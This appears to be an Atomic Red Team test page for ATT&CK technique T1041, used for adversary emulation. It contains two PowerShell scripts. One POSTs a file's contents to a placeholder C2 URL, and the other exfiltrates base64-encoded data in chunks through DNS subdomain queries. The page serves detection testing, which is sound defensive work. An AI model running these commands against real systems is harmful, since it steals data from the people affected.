T1041 - Exfiltration Over C2 Channel

Description from ATT&CK (opens in a new tab)

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

Atomic Tests

• Atomic Test #1 - C2 Data Exfiltration

• Atomic Test #2 - Text Based Data Exfiltration using DNS subdomains

Atomic Test #1 - C2 Data Exfiltration

Exfiltrates a file present on the victim machine to the C2 server.

Supported Platforms: Windows

auto_generated_guid: d1253f6e-c29b-49dc-b466-2147a6191932

Inputs:

Attack Commands: Run with powershell!

if(-not (Test-Path #{filepath})){ 
  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive

Atomic Test #2 - Text Based Data Exfiltration using DNS subdomains

Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.

Supported Platforms: Windows

auto_generated_guid: c9207f3e-213d-4cc7-ad2a-7697a7237df9

Inputs:

Attack Commands: Run with powershell!

$dnsServer = "#{dns_server}"
$exfiltratedData = "#{exfiltrated_data}"
$chunkSize = #{chunk_size}
 
$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"
 
foreach ($chunk in $chunks) {
    $dnsQuery = $chunk + "." + $dnsServer
    Resolve-DnsName -Name $dnsQuery
    Start-Sleep -Seconds 5
}